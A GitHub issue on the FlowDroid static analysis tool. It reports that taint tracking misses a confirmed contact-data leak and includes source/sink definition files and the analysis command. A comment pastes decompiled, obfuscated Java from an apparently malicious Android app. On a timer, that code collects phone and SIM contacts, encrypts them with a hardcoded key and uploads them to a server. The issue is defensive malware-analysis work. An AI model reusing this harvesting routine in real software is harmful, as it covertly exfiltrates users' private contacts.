Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Flowdroid detect source and sink methods but ignoring subsequent data flow tracking and doesn't detect confirmed leaks #756

Open
marshalwahlexyz1 opened this issue Aug 22, 2024 · 3 comments

Comments

@marshalwahlexyz1
Copy link

Hi,

I am using flowdroid for dataflow analysis, I am interested in points where contact, sms data are tainted in an app. I have manually confirmed that data was tainted in some methods and ends up in a network connection. I also confirmed dynamically using frida by hooking those methods and could see that data was been tainted.

However, using Android API's used to retrieve contact and sms as source and sink. Flowdroid identifies these sources and sink but doesn't detect a leak.
Also it only detects a leak for URi.parse for SMS when I use a customwrapper.

below is my source and sink file

<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE
<android.provider.ContactsContract$CommonDataKinds$Phone: android.net.Uri CONTENT_URI> -> SOURCE
<android.database.Cursor: java.lang.String getString(int)> -> SOURCE
<android.database.Cursor: boolean moveToNext()> -> SOURCE
<android.database.Cursor: void close()> -> SOURCE
<android.net.Uri: android.net.Uri parse(java.lang.String)> -> SOURCE

<android.media.ExifInterface: java.lang.String getAttribute(java.lang.String)> -> SOURCE
<com.google.android.gms.common.util.Base64Utils: java.lang.String encode(byte[])> -> SOURCE

<com.lzy.okgo.OkGo: com.lzy.okgo.request.PostRequest post(java.lang.String)> -> SINK
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.PostRequest upJson(java.lang.String)> -> SINK
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.PostRequest execute()> -> SINK
<okhttp3.OkHttpClient: okhttp3.Call newCall(okhttp3.Request)> -> SINK

<java.net.URLConnection: void connect()> -> SINK
<java.net.URLConnection: java.io.OutputStream getOutputStream()> -> SINK
<java.net.URL: java.io.InputStream openStream()> -> SINK
<java.net.URL: java.lang.Object getContent()> -> SINK
<java.net.URL: java.lang.Object getContent(java.lang.Class[])> -> SINK
<java.net.URL: void set(java.lang.String,java.lang.String,int,java.lang.String,java.lang.String)> -> SINK
<java.net.URL: void set(java.lang.String,java.lang.String,int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String)> -> SINK

<com.lzy.okgo.OkGo: com.lzy.okgo.request.PostRequest post(java.lang.String)> -> SINK
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.PostRequest upJson(java.lang.String)> -> SINK
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.PostRequest execute()> -> SINK
<okhttp3.OkHttpClient: okhttp3.Call newCall(okhttp3.Request)> -> SINK
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.PostRequest upJson(org.json.JSONObject)> -> SINK
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.PostRequest upString(java.lang.String)> -> SINK
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.PostRequest upBytes(byte[])> -> SINK
<com.lzy.okgo.OkGo: com.lzy.okgo.request.GetRequest get(java.lang.String)> -> SINK
<com.lzy.okgo.request.GetRequest: com.lzy.okgo.request.GetRequest execute()> -> SINK
<com.lzy.okgo.request.PutRequest: com.lzy.okgo.request.PutRequest upJson(org.json.JSONObject)> -> SINK
<com.lzy.okgo.request.PutRequest: com.lzy.okgo.request.PutRequest upString(java.lang.String)> -> SINK
<com.lzy.okgo.request.PutRequest: com.lzy.okgo.request.PutRequest upBytes(byte[])> -> SINK
<com.lzy.okgo.request.TraceRequest: com.lzy.okgo.request.TraceRequest upJson(org.json.JSONObject)> -> SINK
<com.lzy.okgo.request.TraceRequest: com.lzy.okgo.request.TraceRequest upString(java.lang.String)> -> SINK
<com.lzy.okgo.request.TraceRequest: com.lzy.okgo.request.TraceRequest upBytes(byte[])> -> SINK

CUSTOM WRAPPER

<com.google.android.gms.common.util.Base64Utils: java.lang.String encode(byte[])> -> SOURCE
<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE
<android.database.Cursor: java.lang.String getString(int)> -> SOURCE
<android.net.Uri: android.net.Uri parse(java.lang.String)> -> SOURCE
<android.media.ExifInterface: java.lang.String getAttribute(java.lang.String)> -> SOURCE

<android.database.Cursor: boolean moveToNext()> -> PROPAGATION
<com.glx.fenmiframe.getDuanXin.DuanXinUtils: void setData(java.util.List<com.glx.fenmiframe.getDuanXin.DuanXinUtils$SmslogBean>)> -> PROPAGATION
<com.glx.fenmiframe.get_photo.PhotoManager: void setData(java.util.List<java.lang.String>)> -> PROPAGATION
<java.util.List: boolean add(java.lang.Object)> -> PROPAGATION

<com.lzy.okgo.OkGo: com.lzy.okgo.request.PostRequest post(java.lang.String)> -> SINK
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.PostRequest upJson(java.lang.String)> -> SINK
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.PostRequest execute()> -> SINK
<okhttp3.OkHttpClient: okhttp3.Call newCall(okhttp3.Request)> -> SINK
<android.database.Cursor: void close()> -> SINK.

command and options used

java -Xmx16384m -jar "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-cmd\target\soot-infoflow-cmd-jar-with-dependencies.jar" -a "C:\Apktool\apk_files\easycash.apk" -p "C:\Users\walea\AppData\Local\Android\Sdk\platforms" -s "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-android\ss.txt" -t "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow\cw.txt" -tw EASY -o easycash.xml -pr fast -ls -process-multiple-dex

Why is Flowdroid not able to detect leak when there is obviously a taint that ends up in a network connection.

@marshalwahlexyz1
Copy link
Author

This is the code where data is tainted.

package defpackage;

import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.ContactsContract;
import android.text.TextUtils;
import com.glx.fenmiframe.get_phonebook.LianXiRenClass;
import com.google.android.gms.common.util.Base64Utils;
import com.google.firebase.crashlytics.internal.persistence.CrashlyticsReportPersistence;
import defpackage.zn;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.TimeUnit;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

/* compiled from: UpLoadPhoneBookManager.java /
/
renamed from: ji reason: default package /
/
loaded from: classes.dex */
public class ji {
public static final String[] K4 = {"display_name", "data1", "photo_id", "contact_id"};
public static ji oE;
public ScheduledFuture<?> NC;
public String zO;
public final ScheduledExecutorService sd = Executors.newScheduledThreadPool(2);
public List h7 = new ArrayList();

/* compiled from: UpLoadPhoneBookManager.java */
/* renamed from: ji$NC */
/* loaded from: classes.dex */
public class NC extends zn.zO {
    public NC() {
    }

    @Override // defpackage.zn.h7
    public void onSuccess(String str, String str2) {
        ji.this.h7.clear();
    }
}

/* compiled from: UpLoadPhoneBookManager.java */
/* renamed from: ji$sd */
/* loaded from: classes.dex */
public class sd implements Runnable {
    public final /* synthetic */ Context sd;

    public sd(Context context) {
        this.sd = context;
    }

    @Override // java.lang.Runnable
    public void run() {
        ei.NC = true;
        if (oo.NC(this.sd, "android.permission.READ_CONTACTS")) {
            ji jiVar = ji.this;
            String sd = jiVar.sd(jiVar.sd(this.sd));
            if (TextUtils.isEmpty(sd)) {
                ji.this.sd(this.sd, "nodata");
                return;
            } else {
                ji.this.sd(this.sd, sd);
                return;
            }
        }
        ji.this.sd(this.sd, "noauth");
    }
}

public static ji NC() {
    if (oE == null) {
        synchronized (ji.class) {
            if (oE == null) {
                oE = new ji();
            }
        }
    }
    return oE;
}

public void sd() {
    ScheduledFuture<?> scheduledFuture = this.NC;
    if (scheduledFuture != null) {
        scheduledFuture.cancel(true);
        ei.NC = false;
    }
}

public List<LianXiRenClass> sd(Context context) {
    Cursor query;
    ContentResolver contentResolver = context.getContentResolver();
    Cursor query2 = contentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, K4, null, null, null);
    if (query2 != null) {
        while (query2.moveToNext()) {
            String string = query2.getString(1);
            if (!TextUtils.isEmpty(string)) {
                String string2 = query2.getString(0);
                Long.valueOf(query2.getLong(3));
                String trim = string.trim();
                if (trim.length() >= 10) {
                    this.h7.add(new LianXiRenClass(string2, trim));
                }
            }
        }
        query2.close();
    }
    if (oo.K4(context) && (query = contentResolver.query(Uri.parse("content://icc/adn"), K4, null, null, null)) != null) {
        while (query.moveToNext()) {
            String string3 = query.getString(1);
            if (!TextUtils.isEmpty(string3)) {
                String string4 = query.getString(0);
                String trim2 = string3.trim();
                if (trim2.length() >= 10) {
                    this.h7.add(new LianXiRenClass(string4, trim2));
                }
            }
        }
        query.close();
    }
    return this.h7;
}

public void NC(Context context) {
    if (ei.NC) {
        return;
    }
    this.NC = this.sd.scheduleAtFixedRate(new sd(context), 0L, mo.Xg(context), TimeUnit.MINUTES);
}

public String sd(List<LianXiRenClass> list) {
    JSONObject jSONObject = new JSONObject();
    JSONArray jSONArray = new JSONArray();
    for (int i = 0; i < list.size(); i++) {
        String mobile = list.get(i).getMobile();
        String name = list.get(i).getName();
        try {
            JSONObject jSONObject2 = new JSONObject();
            jSONObject2.put("mobile", mobile.replaceAll("-", "").replaceAll(CrashlyticsReportPersistence.PRIORITY_EVENT_SUFFIX, ""));
            jSONObject2.put("name", name);
            jSONArray.put(jSONObject2);
        } catch (Exception e) {
            String str = "for Error: " + e.toString();
            e.printStackTrace();
        }
    }
    try {
        jSONObject.put("data", jSONArray);
    } catch (JSONException e2) {
        String str2 = "Map Error: " + e2.toString();
        e2.printStackTrace();
    }
    this.zO = jSONObject.toString();
    String str3 = "通讯录获取内容: " + this.zO;
    return this.zO;
}

public void sd(Context context, String str) {
    HashMap hashMap = new HashMap();
    hashMap.put("data", Base64Utils.encode(oo.sd(str.getBytes(), "hXqnawTCDVFu40P4LVXF6YY5Fqfk1C7G".getBytes())));
    zn.oE oEVar = new zn.oE();
    oEVar.NC = hashMap;
    oEVar.sd = context;
    oEVar.zO = ao.D;
    oEVar.pT = "上传通讯录记录";
    oEVar.h7 = new NC();
    zn.NC(oEVar);
}

}

As you can see data is data in this method

public List sd(Context context) {
Cursor query;
ContentResolver contentResolver = context.getContentResolver();
Cursor query2 = contentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, K4, null, null, null);
if (query2 != null) {
while (query2.moveToNext()) {
String string = query2.getString(1);
if (!TextUtils.isEmpty(string)) {
String string2 = query2.getString(0);
Long.valueOf(query2.getLong(3));
String trim = string.trim();
if (trim.length() >= 10) {
this.h7.add(new LianXiRenClass(string2, trim));
}
}
}
query2.close();
}
if (oo.K4(context) && (query = contentResolver.query(Uri.parse("content://icc/adn"), K4, null, null, null)) != null) {
while (query.moveToNext()) {
String string3 = query.getString(1);
if (!TextUtils.isEmpty(string3)) {
String string4 = query.getString(0);
String trim2 = string3.trim();
if (trim2.length() >= 10) {
this.h7.add(new LianXiRenClass(string4, trim2));
}
}
}
query.close();
}
return this.h7;
}

@marshalwahlexyz1 marshalwahlexyz1 changed the title Flowdroid detect source and sink methods but ignoring subsequent data flow tracking Flowdroid detect source and sink methods but ignoring subsequent data flow tracking and doesn't detect confirmed leaks Aug 22, 2024
@marshalwahlexyz1
Copy link
Author

@t1mlange @StevenArzt Please your insight and comment on this would be highly appreciated.

1 similar comment
@marshalwahlexyz1
Copy link
Author

@t1mlange @StevenArzt Please your insight and comment on this would be highly appreciated.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant